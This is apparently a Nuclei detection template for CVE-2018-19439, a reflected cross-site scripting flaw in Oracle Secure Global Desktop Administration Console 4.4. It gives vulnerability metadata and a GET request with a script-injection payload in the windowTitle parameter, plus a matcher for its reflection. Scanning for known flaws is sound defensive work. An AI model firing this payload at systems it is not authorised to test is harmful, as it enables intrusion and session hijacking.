id: CVE-2018-19439

info:
  name: Oracle Secure Global Desktop Administration Console 4.4 - Cross-Site Scripting
  author: madrobot,dwisiswant0
  severity: medium
  description: Oracle Secure Global Desktop Administration Console 4.4 contains a reflected cross-site scripting vulnerability in helpwindow.jsp via all parameters, as demonstrated by the sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp windowTitle parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking or unauthorized actions.
  remediation: Fixed in later versions including 5.4.
  reference:
    - http://packetstormsecurity.com/files/150444/Oracle-Secure-Global-Desktop-Administration-Console-4.4-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19439
    - http://seclists.org/fulldisclosure/2018/Nov/58
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-19439
    cwe-id: CWE-79
    epss-score: 0.20544
    epss-percentile: 0.97186
    cpe: cpe:2.3:a:oracle:secure_global_desktop:4.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: secure_global_desktop
  tags: cve,cve2018,oracle,xss,seclists,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp?=&windowTitle=AdministratorHelpWindow></TITLE></HEAD><body><script>alert(1337)</script><!--&>helpFile=concepts.html"

    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(1337)</script><!--</TITLE>"
# digest: 4a0a0047304502204ea284686bb21a0dfdcb34c19644defc3be85a20684926b602a791d7ea8c3bce022100eec733a5ab33b66c0a53101afb04dd60d317c41ce3e403128f2c16c2d5180ab4:922c64590222798bb761d5b6d8e72950